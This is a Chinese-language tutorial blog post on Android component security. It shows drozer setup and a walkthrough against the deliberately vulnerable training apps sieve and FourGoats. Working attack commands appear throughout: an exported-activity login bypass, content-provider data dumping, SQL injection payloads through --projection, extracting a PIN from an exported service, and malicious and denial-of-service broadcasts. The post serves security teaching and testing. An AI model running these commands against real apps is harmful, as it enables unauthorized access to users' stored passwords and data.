close

前言

隨着手機市場的快速發展,各式各樣的手機應用層出不窮。而手機應用安全也成為一個熱門的話題,在海量的APP應用中,可能會遇到各種各樣的威脅:木馬、病毒、篡改、破解、釣魚、二次打包、信息泄露、資源篡改、信息劫持等。而今天呢,我們將從Android組件安全的角度,通過實例演示的方式來揭露APP可能存在的、暴露在外的風險及薄弱點。

Android四大組件

先帶大家了解下Android的四大組件,分別是activity組件、service組件、content provider組件和broadcast receiver組件,這四個組件分別起到不同的作用,相互配合才能確保安卓系統的正常運行,因此是缺一不可的。

Activity(活動)組件

Activity可以看成是安卓系統的根本,在這個根本上才可以進行其他的工作,因為在安卓系統里運行的所有的程序,它的流程都必須在【活動】中運行,所有他是最基本的模塊。它的作用是一個框架或頁面,每個程序會有多個【活動】組成。所以在Android App 中只要能看見的幾乎都要依託於Activity,所以Activity是在開發中使用最頻繁的一種組件。(1)一個Activity通常就是一個單獨的屏幕(窗口)。(2)Activity之間通過Intent進行通信。(3)android應用中每一個Activity都必須要在AndroidManifest.xml配置文件中聲明,否則系統將不識別也不執行該Activity。

Service(服務)組件

Service是安卓里非常很重要的組件,它的地位和優先級別是與活動相似的,不過Service不能夠自己運行,它只能在安卓的後台運行。它的作用就是與安卓的其他逐漸進行交互,舉個簡單例子:當我們打開手機上音樂播放器並將它放到後台,此時播放的音樂就是由Service在負責控制。(1)service用於在後台完成用戶指定的操作。(2)開發人員需要在應用程序AndroidManifest.xml配置文件中聲明全部的service,使用標籤。(3)Service通常位於後台運行,它一般不需要與用戶交互,因此Service組件沒有圖形用戶界面。Service組件需要繼承Service基類。Service組件通常用於為其他組件提供後台服務或監控其他組件的運行狀態。

Content Provider(內容提供器)組件

Content Provider(內容提供器)用來管理和共享應用程序的數據庫。在應用程序間,Content Provider是共享數據的首選方式。(1)android平台提供了Content Provider使一個應用程序的指定數據集提供給其他應用程序。其他應用可以通過ContentResolver類從該內容提供者中獲取或存入數據。(2)只有需要在多個應用程序間共享數據是才需要內容提供者。例如,通訊錄數據被多個應用程序使用,且必須存儲在一個內容提供者中。它的好處是統一數據訪問方式。(3)ContentProvider實現數據共享。ContentProvider用於保存和獲取數據,並使其對所有應用程序可見。這是不同應用程序間共享數據的唯一方式,因為android沒有提供所有應用共同訪問的公共存儲區。

broadcast receiver(廣播接收者)組件

在安卓系統中,廣播接收器並不是直接就可以看到的,它是程序之間傳遞信息時的一種機制,作用就是接收或者發送通知。通俗的來說廣播接收器更像是一種傳遞組件,它能夠將信息接收,甚至還可以對它進行過濾然後進行響應。(1)你的應用可以使用它對外部事件進行過濾,只對感興趣的外部事件(如當電話呼入時,或者數據網絡可用時)進行接收並做出響應。廣播接收器沒有用戶界面。然而,它們可以啟動一個activity或serice來響應它們收到的信息,或者用NotificationManager來通知用戶。通知可以用很多種方式來吸引用戶的注意力,例如閃動背燈、震動、播放聲音等。一般來說是在狀態欄上放一個持久的圖標,用戶可以打開它並獲取消息。(2)廣播接收者的註冊有兩種方法,分別是程序動態註冊和AndroidManifest文件中進行靜態註冊。(3)動態註冊廣播接收器特點是當用來註冊的Activity關掉後,廣播也就失效了。靜態註冊無需擔憂廣播接收器是否被關閉,只要設備是開啟狀態,廣播接收器也是打開着的。也就是說哪怕app本身未啟動,該app訂閱的廣播在觸發時也會對它起作用。

Android安全測試框架-drozerdrozer簡介

drozer是一款針對Android的安全測試框架,分為安裝在PC端的控制台、安裝在終端上的代理APP兩部分。可以利用APP的IPC通信,動態的發現被測試APP的安全風險。drozer最主要的功能就是對安卓APP四大組件activity、 broadcast receivers、 content providers、 services進行安全測試。

drozer安裝環境準備

1、python2.7環境,安裝地址 2、安卓模擬器(我用的MuMu)或一台安卓實體機 3、java環境1.7,安裝地址(我用的jdk1.8,目前使用無問題) 4、adb,安裝地址 4、drozer、agent.apk、sieve(待測app) 安裝地址 5、FourGoats(待測app)安裝地址

Mac安裝drozer

1.python2.7(系統自帶),也可直接下載安裝

2.java環境,直接下載安裝

3.adb可以從上述安裝地址下載相應安裝包,解壓後配置下環境變量即可.這裡僅演示下Mac的安裝方式:

安裝homebrew(已安裝的話可跳過)ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

安裝adbbrew install android-platform-tools測試是否安裝成功adb devices

1.drozer、agent.apk、sieve(待測app) 訪問上述鏈接,直接下載安裝相應安裝包

安裝成功後,執行drozer命令輸出如下:

將下載好的agent.apk與sieve.apk、FourGoats.apk安裝到模擬器或安卓實體機中

以上就是drozer的安裝步驟,Windows和Linux平台上的安裝大體上類似,就不一一測試了。

drozer實例演示

接下來將帶大家實例操作下通過利用drozer,來挖掘目標app的漏洞隱患

drozer連接過程第一步:adb連接模擬器或實體機

1.開啟模擬器,在電腦終端中輸入命令:adb devices

出現上述設備編號及狀態,顯示連接成功

註:如果輸出中看不到模擬器,這可以使用adb kill-server,先殺死adb服務,在嘗試下adb devices

2.如果是通過實體機進行測試的話,需要通過USB數據線與電腦相連,USB連接步驟如下:

1、手機:設置---->更多設置---->開發者選項---->USB調試 注釋:如果在設置里找不到開發者選項,可以通過 設置----->關於手機----->連續點擊「版本號」多次。2、手機和電腦上都有驅動(360助手等),並且用USB線連接上了;3、電腦:cmd進入命令窗口:adb devices 4、連接成功會顯示設備編號和狀態。

第二步:端口轉發

連接成功後,接下來我們建立一個合適的端口用於轉發來使得我們的pc可以和模擬器中drozeragent打開的tcp套接字進行連接,drozer默認端口為31415執行命令:adb forward tcp:31415 tcp:31415

第三步:連接drozer

在模擬器中打開drozer應用程序,並開啟

打開新的終端窗口,執行命令drozerconsoleconnect出現以下畫面,顯示連接成功

配置sieve應用程序

打開我們下載好的sieve應用程序,它是一款密碼管理軟件,專門被設計出來用於安卓應用常見漏洞的學習使用。首先需要設置16位的masterpassword,為演示方便密碼設為:1234567812345678

然後需要設置4位的pin碼:1234

完成上述操作後,可以新建數據進行保存

退出登錄,打開驗證,需輸入密碼才能讀取數據

至此操作完畢。

drozer實戰

drozer的常用命令有這幾種:

常用測試命令

作用

基本語法

run 具體命令 [-參數]

run app.package.list

列出所有包名(軟件)

run app.package.info -a 包名

查看某個軟件(包名)的具體信息

run app.package.attacksurface 包名

查看某個軟件的攻擊面

run app.activity.info -a 包名

查看某個軟件的 activity 組件的具體攻擊面

run app.activity.start --component

包名 具體activity 啟動某個 activity

run app.provider.info -a 包名

查看某個軟件的 provider 組件的具體攻擊面

run app.provider.finduri 包名

列出某個軟件的 URI

run app.provider.query content://xxxxxURI

查看某個URI內容

run app.provider.query content://xxxxxURI --projection "'"

檢測某個 URI 是否存在注入

run app.provider.query content://xxxxxURI --selection "'"

檢測某個 URI 是否存在注入

run app.provider.query content://xxxxxURI --projection "* FROM SQLITE_MASTER WHERE type='table';--"

針對某個 URI 進行注入

run app.provider.read content://xxxxxURI

通過某個 URI 讀取文件

run app.provider.download content://xxxxxURI 主機目錄/文件名

通過某個 URI 下載文件

run app.service.info -a 包名

查看某個軟件的 service 組件的具體攻擊面

run app.service.start --action 某個 action

啟動某個 service

run app.broadcast.info -a 包名

查看某個軟件的 broadcast 組件的具體攻擊面

run app.broadcast.send -action 某個 action --extra TYPE KEY VALUE

執行某個 broadcast 組件的 action,並傳遞參數

run scanner.provider.finduris -a 包名

尋找可訪問 URI

run scanner.provider.traversal -a 包名

探測存在目錄遍歷的 URI

run scanner.provider.injection -a 包名

探測存在注入的 URI

滲透攻擊

首先我們執行run app.package.list 列出設備中所有安裝的應用程序 從中我們可以發現sieve的包名信息

執行run app.package.info -a com.mwr.example.sieve查看待測APP詳細信息,包括版本,app在設備中保存數據的地方,app安裝的位置以及關於應用權限的大量細節。

執行run app.package.attacksurface com.mwr.example.sieve命令,來獲取針對待測app sieve的攻擊面。activities exported 越權攻擊,發送偽造消息等;broadcast receivers exported 發送惡意廣播,偽造廣播消息,越權攻擊等;content providers exported 數據泄漏,SQL注入等;services exported 越權攻擊,服務拒絕,權限提升等;

我們可以看到上圖潛在的可被導出的且暴露在外的相關組件種類及數量。

攻擊Activity

我們可以先從activity入手,通過一些特殊命令來深入研究暴露的攻擊面。執行run app.activity.info -a 包名來列出指定包的所有activity。

我們可以看到目前有三種activity可被導出,其中MainLoginActivity是登錄界面,而PWList是登錄後的密碼加載頁面,既然此頁面可被導出且不需要權限,我們可以通過命令來啟動可導出且不需要權限的activity 執行run app.activity.start --component 包名 activity名。

我們可以看到,程序調用成功,已經成功繞過了登錄界面,進入了登錄後密碼讀取頁面。

攻擊Content Providers

1. 數據泄露執行run app.provider.info -a 包名,列出可被導出的provider

通過上述圖片,我們可以看出存在兩種provider組件可被導出,分別是DBContentProvider和FileBackupProvider其中只有DBContentProvider的/Keys路徑下需要權限訪問外,其他均不需要任何特定的權限就可以與之交互通過使用drozer的scanner模塊去猜測可能存在的URIs,執行run scanner.provider.finduris -a 包名。

掃描結果可以看到成功掃描出3條可讀取目錄文件,使用其他的drozer模塊從目錄URI中獲得信息,甚至可以修改數據庫中的數據 執行命令run app.provider.query --vertical content://com.mwr.example.sieve.DBContentProvider/Passwords/

執行命令

run app.provider.query --vertical content://com.mwr.example.sieve.DBContentProvider/Keys/

成功讀取出sieve加密後初始密碼及pin碼等2. SQL注入因為安卓平台比較推薦使用SQLite數據庫存儲用戶數據,我們可以查找可進行sql注入的URIs 執行命令run scanner.provider.injection -a 包名

可以看出Projection參數和Selection參數均存在注入,我們使用projection參數傳遞sql注入語句到content provider中 執行命令run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

報錯了,說明應該是存在SQL注入的,通過構造注入語句,來列出數據庫中的所有表。執行命令run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from sqlite_master where type='table';--" --vertical

執行命令run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from Key;--"

攻擊Service

執行命令run app.service.info -a 包名。列出可被導出的基本service信息,可以看到AuthService和CryptoService可被導出。

通過執行命令run app.service.send com.mwr.example.sievecom.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra stringcom.mwr.example.sieve.PIN 1234 --bundle-as-obj

我們可以直接獲取其初始密碼,其中 --msg what arg1 arg2指定獲取消息時要使用的what、arg1和arg2值 我們可以利用android killer反編譯工具對sieve進行反編譯

提取其目標服務源碼

通過分析其邏輯可以確定其what和arg1參數,不過輸出的結果,需要在參數中輸入其pin值才可以獲取

攻擊broadcast

關於broadcast組件的漏洞利用,可通過可導出的組件進行發送惡意廣播或者進行拒絕服務攻擊。我們使用FourGoats進行測試 執行命令run app.broadcast.info -a 包名。列出可被導出的broadcast組件基本信息,我們可以看到存在一項可被導出的組件。

1. 發送惡意廣播由於運行broadcast組件需要找到其對應的action,所以我們需要反編譯app,使用android killer對其反編譯,並在AndroidManifest.xml中找到對應actionorg.owasp.goatdroid.fourgoats.SOCIAL_SMS。

在分析其組件源碼運行邏輯可知需要使用兩個參數:phoneNumber、message。

所以執行命令run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 123 --extra string message 123

2.拒絕服務前面我們已獲取其對應的action,直接執行命令run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

至此,演示結束,目前我們已提取了其軟件用戶名、密碼、pin碼等,也發現了諸多典型的漏洞,如SQL注入、目錄遍歷、拒絕服務等。

E



N



D



知識星球產品及服務

團隊內部平台:潮汐在線指紋識別平台 | 潮聽漏洞情報平台 | 潮巡資產管理與威脅監測平台 | 潮汐網絡空間資產測繪 | 潮聲漏洞檢測平台 | 在線免殺平台 | CTF練習平台 | 物聯網固件檢測平台 | SRC資產監控平台| ......

星球分享方向:Web安全|紅藍對抗|移動安全|應急響應|工控安全|物聯網安全|密碼學|人工智能|ctf 等方面的溝通及分享

星球知識wiki:紅藍對抗|漏洞武器庫| 遠控免殺| 移動安全| 物聯網安全| 代碼審計| CTF | 工控安全| 應急響應| 人工智能| 密碼學| CobaltStrike | 安全測試用例| ......

星球網盤資料:安全法律法規| 安全認證資料| 代碼審計| 滲透安全工具| 工控安全工具| 移動安全工具| 物聯網安全| 其它安全文庫合輯| ......

掃碼加入一起學習吧~

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()